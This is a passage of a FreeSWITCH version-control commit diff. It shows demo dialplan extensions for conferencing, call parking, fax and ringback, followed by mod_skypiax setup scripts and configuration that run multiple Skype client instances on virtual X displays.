+    </extension>
+
+    <!--This extension will start a conference and invite several people upon entering -->
+    <extension name="mad_boss">
+      <condition field="destination_number" expression="^0913$">
+	<!--These params effect the outcalls made once you join-->
+	<action application="set" data="conference_auto_outcall_caller_id_name=Mad Boss"/>
+	<action application="set" data="conference_auto_outcall_caller_id_number=0911"/>
+	<action application="set" data="conference_auto_outcall_timeout=60"/>
+	<action application="set" data="conference_auto_outcall_flags=none"/>
+	<!--<action application="set" data="conference_auto_outcall_announce=say:You have been called into an emergency conference"/>-->
+	<!--Add as many of these as you need, These are the people you are going to call-->
+	<action application="conference_set_auto_outcall" data="loopback/9999"/>
+	<action application="conference" data="madboss3@default"/>
+      </condition>
+    </extension>
+
+    <!-- a sample IVR  -->
+    <extension name="ivr_demo">
+      <condition field="destination_number" expression="^5000$">
+        <action application="answer"/>
+        <action application="sleep" data="2000"/>
+	<action application="ivr" data="demo_ivr"/>
+      </condition>
+    </extension>
+
+    <!-- Create a conference on the fly and pull someone in at the same time. --> 
+    <extension name="dyanmic conference">
+      <condition field="destination_number" expression="^5001$">
+	<action application="conference" data="bridge:mydynaconf:sofia/${use_profile}/1234@conference.freeswitch.org"/>
+      </condition>
+    </extension>
+
+    <extension name="rtp_multicast_page">
+      <condition field="destination_number" expression="^pagegroup$|^7243">
+	<action application="answer"/>
+	<action application="esf_page_group"/>
+      </condition>
+    </extension>
+
+    <!-- 
+	 Parking extensions... transferring calls to 5900 will park them in a queue.
+    -->
+    <extension name="park">
+      <condition field="destination_number" expression="^5900$">
+	<action application="set" data="fifo_music=$${hold_music}"/>
+	<action application="fifo" data="5900@${domain_name} in"/>
+      </condition>
+    </extension>
+
+    <!-- 
+	 Parking pickup extension.  Calling 5901 will pickup the call.
+    -->
+    <extension name="unpark">
+      <condition field="destination_number" expression="^5901$">
+	<action application="answer"/>
+	<action application="fifo" data="5900@${domain_name} out nowait"/>
+      </condition>
+    </extension>
+
+    <!--
+	This extension is used with snom phones.  
+	
+	Set a function key to park+lot (lot being a number or name.)
+	Set type to Park+Orbit.  You can then park and pickup using 
+	the softkey on the phone.  Should work with other phones.
+    -->
+    <extension name="park">
+      <condition field="source" expression="mod_sofia"/>
+      <condition field="destination_number" expression="park\+(\d+)">
+	<action application="fifo" data="$1@${domain_name} in undef $${hold_music}"/>
+      </condition>
+    </extension> 
+    <!--
+	The extension is parking pickup with a to param of the fifo we are calling 
+	Some phones send things like orbit= and you can extract that info.
+    -->
+    <extension name="unpark">
+      <condition field="source" expression="mod_sofia"/>
+      <condition field="destination_number" expression="^parking$"/>
+      <condition field="${sip_to_params}" expression="fifo\=(\d+)">
+	<action application="answer"/>
+	<action application="fifo" data="$1@${domain_name} out nowait"/>
+      </condition>
+    </extension>
+
+    <!--
+       This extension is used with linksys phones.
+
+       Set a Phone tab option Call Park Serv to yes. You can park and
+       pickup using soft keys "park" and "unpark" found during
+       active call when moving navigation button. The other option
+       is to use phone's star codes (defaults to *38 and *39).
+    -->
+    <extension name="park">
+      <condition field="source" expression="mod_sofia"/>
+      <condition field="destination_number" expression="callpark"/>
+      <condition field="${sip_refer_to}">
+	<expression><![CDATA[<sip:callpark@${domain_name};orbit=(\d+)>]]></expression>
+	<action application="fifo" data="$1@${domain_name} in undef $${hold_music}"/>
+      </condition>
+    </extension>
+    
+    <!--
+       This extension is used with linksys phones.
+
+       The extension is parking pickup with a to param of the fifo
+       we are calling. Linksys sends orbit=<parkingslotnumber>
+       and we extract that info.
+    -->
+    <extension name="unpark">
+      <condition field="source" expression="mod_sofia"/>
+      <condition field="destination_number" expression="pickup"/>
+      <condition field="${sip_to_params}" expression="orbit\=(\d+)">
+	<action application="answer"/>
+	<action application="fifo" data="$1@${domain_name} out nowait"/>
+       </condition>
+    </extension>
+
+    <!--
+	Here are some examples of how to override the ringback heard by the
+	far end.  You have two variables that you can use to override this.
+	
+	ringback          - used when a call isn't answered. (early media)
+	transfer_ringback - used when the call is already answered. (post answer)
+    -->
+
+    <!-- Demonstration of how to override the ringback in various situations -->
+    <extension name="wait">
+      <condition field="destination_number" expression="^wait$">
+	<action application="pre_answer"/>
+	<action application="sleep" data="20000"/>
+	<action application="answer"/>
+	<action application="sleep" data="1000"/>
+	<action application="playback" data="voicemail/vm-goodbye.wav"/>
+	<action application="hangup"/>
+      </condition>
+    </extension>
+    
+    <extension name="fax_receive">
+      <condition field="destination_number" expression="^9978$">
+	<action application="answer" />
+	<action application="playback" data="silence_stream://2000"/>
+	<action application="rxfax" data="/tmp/rxfax.tif"/>
+	<action application="hangup"/>
+      </condition>
+    </extension>
+
+    <extension name="fax_transmit">
+      <condition field="destination_number" expression="^9979$">
+	<action application="txfax" data="/tmp/txfax.tif"/>
+	<action application="hangup"/>
+      </condition>
+    </extension>
+
+    <!-- Send a 180 and let the far end generate ringback. -->
+    <extension name="ringback_180">
+      <condition field="destination_number" expression="^9980$">
+	<action application="ring_ready"/>
+	<action application="sleep" data="20000"/>
+	<action application="answer"/>
+	<action application="sleep" data="1000"/>
+	<action application="playback" data="voicemail/vm-goodbye.wav"/>
+	<action application="hangup"/>
+      </condition>
+    </extension>
+
+    <!-- Send a 183 and send uk-ring as the ringtone. (early media) -->
+    <extension name="ringback_183_uk_ring">
+      <condition field="destination_number" expression="^9981$">
+	<action application="set" data="ringback=$${uk-ring}"/>
+	<action application="bridge" data="loopback/wait"/>
+      </condition>
+    </extension>
+
+    <!-- Send a 183 and use music as the ringtone. (early media) -->
+    <extension name="ringback_183_music_ring">
+      <condition field="destination_number" expression="^9982$">
+	<action application="set" data="ringback=$${hold_music}"/>
+	<action application="bridge" data="loopback/wait"/>
+      </condition>
+    </extension>
+
+    <!-- Answer the call and use music as the ringtone. (post answer) -->
+    <extension name="ringback_post_answer_uk_ring">
+      <condition field="destination_number" expression="^9983$">
+	<action application="set" data="transfer_ringback=$${uk-ring}"/>
+	<action application="answer"/>
+	<action application="bridge" data="loopback/wait"/>
+      </condition>
+    </extension>
+
+    <!-- Answer the call and use music as the ringtone. (post answer) -->
+    <extension name="ringback_post_answer_music">
+      <condition field="destination_number" expression="^9984$">
+	<action application="set" data="transfer_ringback=$${hold_music}"/>
+	<action application="answer"/>
+	<action application="bridge" data="loopback/wait"/>
+      </condition>
+    </extension>
+
+    <extension name="show_info">
+      <condition field="destination_number" expression="^9992$">
+	<action application="answer"/>
+	<action application="info"/>
+	<action application="sleep" data="250"/>
+	<action application="hangup"/>
+      </condition>
+    </extension>
+
+    <extension name="video_record">
+      <condition field="destination_number" expression="^9993$">
+	<action application="answer"/>
+	<action application="record_fsv" data="/tmp/testrecord.fsv"/>
+      </condition>
+    </extension>
+
+    <extension name="video_playback">
+      <condition field="destination_number" expression="^9994$">
+	<action application="answer"/>
+	<action application="play_fsv" data="/tmp/testrecord.fsv"/>
+      </condition>
+    </extension>
+
+    <extension name="delay_echo">
+      <condition field="destination_number" expression="^9995$">
+	<action application="answer"/>
+	<action application="delay_echo" data="5000"/>
+      </condition>
+    </extension>
+
+    <extension name="echo">
+      <condition field="destination_number" expression="^9996$">
+	<action application="answer"/>
+	<action application="echo"/>
+      </condition>
+    </extension>
+
+    <extension name="milliwatt">
+      <condition field="destination_number" expression="^9997$">
+	<action application="answer"/>
+	<action application="playback" data="tone_stream://%(10000,0,1004);loops=-1"/>
+      </condition>
+    </extension>
+
+    <extension name="tone_stream">
+      <condition field="destination_number" expression="^9998$">
+	<action application="answer"/>
+	<action application="playback" data="tone_stream://path=${base_dir}/conf/tetris.ttml;loops=10"/>
+      </condition>
+    </extension>
+
+    <!--
+	You will no longer hear the bong tone.  The wav file is playing stating the call is secure.
+	The file will not play unless you have both TLS and SRTP active.
+    -->
+
+    <extension name="hold_music">
+      <condition field="destination_number" expression="^9999$"/>
+      <condition field="${sip_has_crypto}" expression="^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$">
+	<action application="answer"/>
+	<action application="execute_extension" data="is_secure XML features"/>
+	<action application="playback" data="$${hold_music}"/>
+	<anti-action application="answer"/>
+	<anti-action application="playback" data="$${hold_music}"/>
+      </condition>
+    </extension>
+
+    <!--
+	You can place files in the default directory to get included.
+    -->
+    <X-PRE-PROCESS cmd="include" data="default/*.xml"/>
+    
+    <!--
+	WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
+	
+	Anything you put below this line will usually get ignored due to the file in 
+	default/99999_enum.xml as it will transfer the call to the enum dialplan.
+
+	WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
+    -->
+
+    <!--
+    <extension name="refer">
+      <condition field="${sip_refer_to}">
+	<expression><![CDATA[<sip:${destination_number}@${domain_name}>]]></expression>
+      </condition>
+      <condition field="${sip_refer_to}">
+	<expression><![CDATA[<sip:(.*)@(.*)>]]></expression>
+	<action application="set" data="refer_user=$1"/>
+	<action application="set" data="refer_domain=$2"/>
+	<action application="info"/>
+	<action application="bridge" data="sofia/${use_profile}/${refer_user}@${refer_domain}"/>
+      </condition>
+    </extension>
+    -->
+    <!--
+	This is an example of how to override the RURI on an outgoing invite to a registered contact.
+    -->
+    <!--
+    <extension name="ruri">
+      <condition field="destination_number" expression="^ruri$">
+	<action application="bridge" data="sofia/${ruri_profile}/${ruri_user}${regex(${sofia_contact(${ruri_contact})}|^[^\@]+(.*)|%1)}"/>
+      </condition>
+    </extension>
+    
+    <extension name="7004">
+      <condition field="destination_number" expression="^7004$">
+	<action application="set" data="ruri_profile=default"/>
+	<action application="set" data="ruri_user=2000"/>
+	<action application="set" data="ruri_contact=1001@${domain_name}"/>
+	<action application="execute_extension" data="ruri"/>
+      </condition>
+    </extension>
+    -->
+
+    <!-- SEE WARNING ABOVE IF YOU ARE TRYING TO ADD EXTENSIONS HERE! -->
+
+  </context>
+</include>

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username)

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/README

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/README (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/README) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/README	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+# execute both of the files, they give you 10 interfaces each (look for the "exit 0" line)
+# then use the skypiax.conf here to manage the 20 interfaces
+
+sh ./multi.sh
+sh ./multi2.sh
+

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi.sh

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi.sh (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi.sh) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi.sh	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,145 @@
+# remember to add here the removing of all the installed snd-* modules, so you're sure only the snd-dummy driver will be around
+rmmod snd_hda_intel
+rmmod snd-dummy 
+
+# if you DO NOT USE the custom ALSA device we provide, you need three "standard" dummy soundcard for 20 Skype client instances, because each "standard" dummy soundcard can handle a max of 8 Skype instances
+# the enable= module parameter tells how many cards to start. For each additional card, add a comma and a 1
+# manually configure the first 8 Skype client instances to use the hw:Dummy_0, the next 8 instances to use hw:Dummy_1, etc for all three devices (Play, Capture, Ring)
+modprobe snd-dummy # enable=1,1,1
+sleep 3
+
+#start the fake X server on a given port
+ /usr/bin/Xvfb :101 -ac &
+sleep 3
+
+# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here xxxx would be the password and skypiax1 the username
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:101  /usr/bin/skype --dbpath=/root/multi/skypiax101 --pipelogin &"
+
+
+sleep 7
+
+
+ /usr/bin/Xvfb :102 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:102  /usr/bin/skype --dbpath=/root/multi/skypiax102 --pipelogin &"
+
+sleep 7
+
+
+#################################################################
+# Following X server Skype client instances are commented out
+#################################################################
+ /usr/bin/Xvfb :103 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:103  /usr/bin/skype --dbpath=/root/multi/skypiax103 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :104 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:104  /usr/bin/skype --dbpath=/root/multi/skypiax104 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :105 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:105  /usr/bin/skype --dbpath=/root/multi/skypiax105 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :106 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:106  /usr/bin/skype --dbpath=/root/multi/skypiax106 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :107 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:107  /usr/bin/skype --dbpath=/root/multi/skypiax107 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :108 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:108  /usr/bin/skype --dbpath=/root/multi/skypiax108 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :109 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:109  /usr/bin/skype --dbpath=/root/multi/skypiax109 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :110 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:110  /usr/bin/skype --dbpath=/root/multi/skypiax110 --pipelogin &"
+
+sleep 7
+
+exit 0
+
+ /usr/bin/Xvfb :111 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:111  /usr/bin/skype --dbpath=/root/multi/skypiax111 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :112 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:112  /usr/bin/skype --dbpath=/root/multi/skypiax112 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :113 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:113  /usr/bin/skype --dbpath=/root/multi/skypiax113 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :114 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:114  /usr/bin/skype --dbpath=/root/multi/skypiax114 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :115 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:115  /usr/bin/skype --dbpath=/root/multi/skypiax115 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :116 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:116  /usr/bin/skype --dbpath=/root/multi/skypiax116 --pipelogin &"
+
+sleep 7
+
+ /usr/bin/Xvfb :117 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:117  /usr/bin/skype --dbpath=/root/multi/skypiax117 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :118 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:118  /usr/bin/skype --dbpath=/root/multi/skypiax118 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :119 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:119  /usr/bin/skype --dbpath=/root/multi/skypiax119 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :120 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:120  /usr/bin/skype --dbpath=/root/multi/skypiax120 --pipelogin &"
+
+sleep 7
+

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi2.sh

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi2.sh (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi2.sh) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi2.sh	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/multi2.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,135 @@
+
+#start the fake X server on a given port
+ /usr/bin/Xvfb :121 -ac &
+sleep 3
+
+# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here xxxx would be the password and skypiax2 the username
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:121  /usr/bin/skype --dbpath=/root/multi/skypiax121 --pipelogin &"
+
+
+sleep 7
+
+
+ /usr/bin/Xvfb :122 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:122  /usr/bin/skype --dbpath=/root/multi/skypiax122 --pipelogin &"
+
+sleep 7
+
+
+#################################################################
+# Following X server Skype client instances are commented out
+#################################################################
+ /usr/bin/Xvfb :123 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:123  /usr/bin/skype --dbpath=/root/multi/skypiax123 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :124 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:124  /usr/bin/skype --dbpath=/root/multi/skypiax124 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :125 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:125  /usr/bin/skype --dbpath=/root/multi/skypiax125 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :126 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:126  /usr/bin/skype --dbpath=/root/multi/skypiax126 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :127 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:127  /usr/bin/skype --dbpath=/root/multi/skypiax127 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :128 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:128  /usr/bin/skype --dbpath=/root/multi/skypiax128 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :129 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:129  /usr/bin/skype --dbpath=/root/multi/skypiax129 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :130 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:130  /usr/bin/skype --dbpath=/root/multi/skypiax130 --pipelogin &"
+
+sleep 7
+
+exit 0
+
+ /usr/bin/Xvfb :131 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:131  /usr/bin/skype --dbpath=/root/multi/skypiax131 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :132 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:132  /usr/bin/skype --dbpath=/root/multi/skypiax132 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :133 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:133  /usr/bin/skype --dbpath=/root/multi/skypiax133 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :134 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:134  /usr/bin/skype --dbpath=/root/multi/skypiax134 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :135 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:135  /usr/bin/skype --dbpath=/root/multi/skypiax135 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :136 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:136  /usr/bin/skype --dbpath=/root/multi/skypiax136 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :137 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:137  /usr/bin/skype --dbpath=/root/multi/skypiax137 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :138 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:138  /usr/bin/skype --dbpath=/root/multi/skypiax138 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :139 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:139  /usr/bin/skype --dbpath=/root/multi/skypiax139 --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :140 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:140  /usr/bin/skype --dbpath=/root/multi/skypiax140 --pipelogin &"
+
+sleep 7
+

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/skypiax.conf.xml

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/skypiax.conf.xml (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/skypiax.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/skypiax.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/multiple-instance-same-skype-username/skypiax.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,418 @@
+<configuration name="skypiax.conf" description="Skypiax Configuration">
+  <global_settings>
+    <param name="debug" value="8"/>
+    <param name="codec-master" value="us"/>
+    <param name="dialplan" value="XML"/>
+    <param name="context" value="default"/>
+    <param name="codec-prefs" value="gsm,ulaw"/>
+    <param name="codec-rates" value="8000,16000"/>
+    <param name="hold-music" value="$${moh_uri}"/>
+    <param name="destination" value="5000"/>
+  </global_settings>
+  <!-- one entry here per skypiax interface -->
+  <per_interface_settings>
+    <interface id="1" name="skypiax1">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":101"/>
+	<param name="tcp_cli_port" value="15556"/>
+	<param name="tcp_srv_port" value="15557"/>
+	<param name="skype_user" value="skypiax1"/>
+    	<param name="destination" value="5000"/>
+    </interface>
+    <interface id="2" name="skypiax2">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":102"/>
+	<param name="tcp_cli_port" value="15558"/>
+	<param name="tcp_srv_port" value="15559"/>
+	<param name="skype_user" value="skypiax1"/>
+    	<param name="destination" value="5000"/>
+    </interface>
+    <interface id="3" name="skypiax3">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":103"/>
+	<param name="tcp_cli_port" value="15560"/>
+	<param name="tcp_srv_port" value="15561"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="4" name="skypiax4">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":104"/>
+	<param name="tcp_cli_port" value="15562"/>
+	<param name="tcp_srv_port" value="15563"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="5" name="skypiax5">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":105"/>
+	<param name="tcp_cli_port" value="15564"/>
+	<param name="tcp_srv_port" value="15565"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+    <interface id="6" name="skypiax6">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":106"/>
+	<param name="tcp_cli_port" value="15566"/>
+	<param name="tcp_srv_port" value="15567"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+    <interface id="7" name="skypiax7">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":107"/>
+	<param name="tcp_cli_port" value="15568"/>
+	<param name="tcp_srv_port" value="15569"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="8" name="skypiax8">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":108"/>
+	<param name="tcp_cli_port" value="15570"/>
+	<param name="tcp_srv_port" value="15571"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="9" name="skypiax9">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":109"/>
+	<param name="tcp_cli_port" value="15572"/>
+	<param name="tcp_srv_port" value="15573"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="10" name="skypiax10">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":110"/>
+	<param name="tcp_cli_port" value="15574"/>
+	<param name="tcp_srv_port" value="15575"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <!-- following interfaces are commented out!
+    <interface id="11" name="skypiax11">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":111"/>
+	<param name="tcp_cli_port" value="15576"/>
+	<param name="tcp_srv_port" value="15577"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="12" name="skypiax12">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":112"/>
+	<param name="tcp_cli_port" value="15578"/>
+	<param name="tcp_srv_port" value="15579"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="13" name="skypiax13">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":113"/>
+	<param name="tcp_cli_port" value="15580"/>
+	<param name="tcp_srv_port" value="15581"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="14" name="skypiax14">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":114"/>
+	<param name="tcp_cli_port" value="15582"/>
+	<param name="tcp_srv_port" value="15583"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="15" name="skypiax15">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":115"/>
+	<param name="tcp_cli_port" value="15584"/>
+	<param name="tcp_srv_port" value="15585"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="16" name="skypiax16">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":116"/>
+	<param name="tcp_cli_port" value="15586"/>
+	<param name="tcp_srv_port" value="15587"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="17" name="skypiax17">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":117"/>
+	<param name="tcp_cli_port" value="15588"/>
+	<param name="tcp_srv_port" value="15589"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="18" name="skypiax18">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":118"/>
+	<param name="tcp_cli_port" value="15590"/>
+	<param name="tcp_srv_port" value="15591"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="19" name="skypiax19">
